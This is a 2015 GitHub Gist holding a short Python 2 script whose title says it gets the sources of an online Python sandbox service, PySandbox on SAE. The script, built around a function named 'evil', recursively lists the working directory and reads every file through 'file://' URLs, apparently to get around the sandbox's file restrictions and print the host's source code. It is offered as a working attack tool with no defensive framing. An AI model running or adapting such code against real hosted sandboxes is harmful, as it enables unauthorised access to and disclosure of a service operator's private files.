Created
July 8, 2015 09:50
-
-
Save monkeym4ster/d608b2a790c4dccea683 to your computer and use it in GitHub Desktop.
Get "PySandbox@SAE(https://pysandbox.sinaapp.com/)" sources
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# encoding: utf-8 | |
import os | |
import urllib2 | |
BASE_DIR = os.getcwd() | |
def read_file(path): | |
file_path = 'file://%s' % path | |
file_object = urllib2.urlopen(file_path) | |
file_content = '' | |
for line in file_object.readlines(): | |
file_content = file_content + line | |
return file_content | |
def evil(file_path=''): | |
if not os.path.isdir(file_path): | |
file_content = read_file(file_path) | |
print 'file name: %s\r\nfile content:\r\n%s\r\n==========\r\n' % (file_path, read_file(file_path)) | |
else: | |
local_path = file_path | |
files = os.listdir(file_path) | |
for file in files: | |
file_path = local_path + '/' + file | |
evil(file_path) | |
def main(): | |
files = os.listdir(BASE_DIR) | |
for file in files: | |
file_path = BASE_DIR + '/' + file | |
evil(file_path) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment